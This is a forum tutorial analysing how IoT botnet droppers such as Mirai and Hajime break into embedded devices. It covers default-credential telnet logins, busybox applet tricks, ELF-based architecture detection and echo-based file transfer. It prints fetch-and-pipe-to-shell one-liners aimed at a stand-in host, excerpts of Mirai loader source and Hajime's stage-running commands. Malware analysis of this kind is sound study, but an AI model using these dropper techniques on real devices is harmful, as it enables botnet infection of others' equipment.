Recently I have been reading a bit about different IoT/embedded malwares and I have found the reading very interesting and instructive so I have decided to share with you what I have found.

Author Assigned Level: Newbie

Community Assigned Level:

Newbie

Wannabe

Hacker

Wizard

Guru 0 voters

Required Skills

To easily follow this paper you should have the following skills:

Basic shell scripting

Basic knowledge of C programming

Basic knowledge of network programming

Basic Knowledge of ELFs (no, knowing who Legolas is, is not enough)

Disclaimer

This paper is for educational purpose.

Overview of an IoT malware

IoT malware, specially botnets have recently become quite popular. Mirai, Hajime, LuaBot,… are some examples of malware attacking embedded devices like modems, routers or different IoT thingies connected to the Internet.

Overall, there is nothing really special about the infection process. Most of those malwares do not even use an exploit. The infection process relies in the fact that many of those embedded devices are never reconfigured and, therefore, they still use a well-known default configuration. In this scenario, infecting the device is just a matter of trying all known user names and passwords until one just works.

However, in general, the attacker only have access to a telnet server in the device that gives access to a very constrained shell, usually a shrink version of busybox . What this means is that you will not find tools like ftp , wget or curl . For this reason the dropper may have to do some tricks to get the device infected.

Fine, but… what is a dropper again?

So, the thing usually goes like this.

The attacker launches a scan for vulnerable devices (devices enabling root accesses using default credentials publicly available)

For each vulnerable device, the attacker will start a root session (usually via telnet) to try to install the malware in the device.

The malware is executed and the device compromised.

The program/script used to get the malware in the device and install it is some times called dropper… because it allows the attacker to drop the malware in the device

Depending on the available tools in the target device, the dropper can be something as easy as:

wget -q http://evil-hax0r.com/m.sh -O - | sh curl -s http://evil-hax0r.com/m.sh | sh lynx -dump http://evil-hax0r.com/m.sh | sh

Or may require to feed the data through the already established connection… In a sense, something similar to what happen when using a “Rubber Ducky”… Only a terminal is available and we can just type text on it.

Anatomy of a dropper

OK, the dropper goal is to get some malware into the device and start it up. This sounds very straight forward but it actually requires a few actions in order to succeed.

The first thing to do is to find a folder in the device with write and execution permissions. Usually the /tmp folder will fulfill those requirements but it is better to check what is available just in case.

folder will fulfill those requirements but it is better to check what is available just in case. The second thing to do is to figure out the architecture of the device so the proper binary will be copied. Malware targeting embedded device usually supports a few architectures to increase its chances to spread along the network. You will usually find a few ARM architectures, MIPS big and little endian and probably x86 32bis and 64bits

Finally it has to manage to transfer that file to the device and run it.

Note: Sophisticated droppers do more things as checking if the machine has already been infected, remove other malwares, check for RE environments (VMs, sandboxes,…). The steps above are, let’s say, the very minimum for a crappy IoT malware.

Let’s go one by one through these different steps… but first.

Parsing the commands

So, the attacker is running a program intended to remotely infect devices. It opens a socket to a telnet port in some device and it starts to send and recv data through that socket. The data interchanged through that socket is what you will type and see if you manually connect to the device.

But, in order to process, specially the responses from the device, it will be useful to get some mark indicating that our command has been completed. A trick used by many malwares is to use a non-existent busybox applet to signal the completion of every command issued. You will see commands like this:

nc; wget; /bin/busybox RANDOM_TAG

The command above is used by the malware Hajime to check if the current busybox has the applets nc and wget . For each unknown command, busybox will reply with:

COMMAND: applet not found

This way, if the previous command produces the following input:

nc: applet not found wget: applet not found RANDOM_TAG: applet not found

That means that nc and wget are not available. The RANDOM_TAG: applet not found string will indicate the end of the output and the parse just need to look for that string before issuing the next command.

Finding a suitable folder

As mentioned above, this is the first step so the dropper can drop files in the device. The usual way to do this is checking the output of cat /proc/mounts and check for the string rw . You can try that command in your Linux box just right now.

Note that it is very unlikely that grep is available in any of those embedded devices so cat /proc/mounts | grep rw may not work. Instead, the dropper will read the complete output from the cat command and look itself for the string.

Mirai and Hajime use this technique to find a suitable place to store and run files.

Let’s take a look to the command that Mirai executes (

github.com jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L338 #ifdef DEBUG printf("[FD%d] Succesfully logged in

", ev->data.fd); #endif util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r

"); conn->state_telnet = TELNET_PARSE_PS; } break; case TELNET_PARSE_PS: if ((consumed = connection_consume_psoutput(conn)) > 0) { util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r

"); conn->state_telnet = TELNET_PARSE_MOUNTS; } break; case TELNET_PARSE_MOUNTS: consumed = connection_consume_mounts(conn); if (consumed) conn->state_telnet = TELNET_READ_WRITEABLE; break; case TELNET_READ_WRITEABLE: consumed = connection_consume_written_dirs(conn);

Have you spotted that TOKEN_QUERY at the end?. Sure you did. Now head to this header file (https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/headers/includes.h) and you will find this definitions:

#define TOKEN_QUERY "/bin/busybox ECCHI" #define TOKEN_RESPONSE "ECCHI: applet not found"

Good… now you know what does that mean… don’t you?

Figuring out the architecture

Now, the dropper has to figure out the architecture so it can download the right binary for the device it is trying to infect. In general you will not find tools like file or readelf in an embedded device, so you may need to figure out the architecture by other means.

Yes, you may have to parse the ELF header!!!

To do that these droppers usually cat a binary that they know it exists… The choice for most of then is /bin/echo . For instance check the Mirai code (you can see how Hajime does it in the report linked in the resources section at the end).

github.com jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L369 break; case TELNET_COPY_ECHO: consumed = connection_consume_copy_op(conn); if (consumed) { #ifdef DEBUG printf("[FD%d] Finished copying /bin/echo to cwd

", conn->fd); #endif if (!conn->info.has_arch) { conn->state_telnet = TELNET_DETECT_ARCH; conn->timeout = 120; // DO NOT COMBINE THESE util_sockprintf(conn->fd, "/bin/busybox cat /bin/echo\r

"); util_sockprintf(conn->fd, TOKEN_QUERY "\r

"); } else { conn->state_telnet = TELNET_UPLOAD_METHODS; conn->timeout = 15; util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r

");

Well I haven’t said that, but, the Mirai dropper implements the telnet access as a state machine. You can see in the snippet above, how the state is set for the next loop ( TELNET_DETECT_ARCH ), then the command is send to the server and the loop iteration finish. In the next iteration the case TELNET_DETECT_ARCH will be fired and the output from cat read and processed.

github.com jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L383 util_sockprintf(conn->fd, TOKEN_QUERY "\r

"); } else { conn->state_telnet = TELNET_UPLOAD_METHODS; conn->timeout = 15; util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r

"); } } break; case TELNET_DETECT_ARCH: consumed = connection_consume_arch(conn); if (consumed) { conn->timeout = 15; if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL) { #ifdef DEBUG printf("[FD%d] Cannot determine architecture

", conn->fd); #endif connection_close(conn);

You can find the code to check the architecture here

github.com jgamblin/Mirai-Source-Code/blob/master/loader/src/connection.c#L465 int connection_consume_copy_op(struct connection *conn) { int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE)); if (offset == -1) return 0; return offset; } int connection_consume_arch(struct connection *conn) { if (!conn->info.has_arch) { struct elf_hdr *ehdr; int elf_start_pos; if ((elf_start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ELF", 3)) == -1) return 0; elf_start_pos -= 4; // Go back ELF

As I said, what Mirai does is parse the ELF header and check the e_machine and e_ident fields to figure out the architecture. It cast a pointer to the buffer read from the socket to an Elf_hdr struct and then it just access the fields…

Take a look to the code… Mirai actually does an extra check for ARM subtypes.

How to transfer the files

Now the dropper has to figure out what means are available to actually transfer the malware to the device.

For instance Mirai, checks for wget , tftp and echo , using the applet not found technique we described above. You can take a look to all the details here

github.com jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L431 printf("[FD%d] We do not have an ARMv7 binary, so we will try using default ARM

", conn->fd); #endif } else conn->bin = bin; util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r

"); conn->state_telnet = TELNET_UPLOAD_METHODS; } break; case TELNET_UPLOAD_METHODS: consumed = connection_consume_upload_methods(conn); if (consumed) { #ifdef DEBUG printf("[FD%d] Upload method is ", conn->fd); #endif switch (conn->info.upload_method) { case UPLOAD_ECHO:

When one of those tools are available, then we are done, but sometimes none of them can be found, and techniques like the echo method used by Mirai are needed.

Transferring files the hard way

So, how does this echo method works. Well this is simpler that it may look like. It just echoes a hex string to a file. Something like this:

echo -ne "\x7f\x45\x4c\x46\x..." > malware

This, however only works with very small binaries. For bigger binaries you may have to split the echo command in many pieces and use the >> append redirection to append each piece to the result file.

The Hajime case

The Hajime case is very interesting as it does a kind of two stages dropping check this for details.

It first deploys a very small ELF binary. This binary is the one that will download the real malware. It connects to a pre-defined server and outputs to stdout whatever it receives from the server… the real malware. The way it does this is interesting. After dumping the first binary (the small one) using the echo technique, it runs the following shell commands:

cp .s .i; >.i; ./.s>.i; ./.i; rm .s; /bin/busybox ECCHI

So .s is the file where the small ELF was dumped using echo . This file was created previously and it has already got execution permissions. Knowing this, the shell code above does the following:

cp .s .i copies the small ELF (the one that will download the real malware) stored in .s to .i . As you know, all files starting with a dot are hidden (you have to use the flag -a with ls to see them). So this makes a copy of the binary… preserving the permissions . This basically means that we do not have to do chmod 777 .i after downloading the final malware

copies the small ELF (the one that will download the real malware) stored in to . As you know, all files starting with a dot are hidden (you have to use the flag with to see them). So this makes a copy of the binary… . This basically means that we do not have to do after downloading the final malware >.i . This is actually truncating the file. In other words, this is a way to remove all the content of the file and set its size to 0… but keeping the file permissions . So right now, we have an empty file with execution permissions

. This is actually truncating the file. In other words, this is a way to remove all the content of the file and set its size to 0… but . So right now, we have an empty file with execution permissions ./.s>.i this is more obvious. Now it runs the downloader (the small ELF file created with echo ) and redirects its standard output to the empty but executable file .i . As we said above, this downloader connects to a server and dumps to stdout whatever the server sends back. Think about it as a minimal wget command.

this is more obvious. Now it runs the downloader (the small ELF file created with ) and redirects its standard output to the file . As we said above, this downloader connects to a server and dumps to whatever the server sends back. Think about it as a minimal command. ./.i;rm .s and finally the just downloaded malware is executed and the downloader removed from the disk. The main malware is likely a daemon, so, once started ( ./.i ), it just returns the control to the shell that can then delete the downloader.

And from this point on that device is compromised.

Conclusions

Well, this is it for today. Hope you enjoy the reading and if this was a new topic for you that you have learn something. Please be free to share your comments and ask your questions in the comments below.

Resources

The contents of this paper is based on the information provided by the following sources:

Mirai Source Code: https://github.com/jgamblin/Mirai-Source-Code/tree/master/loader/src

Hajime Analysis: https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf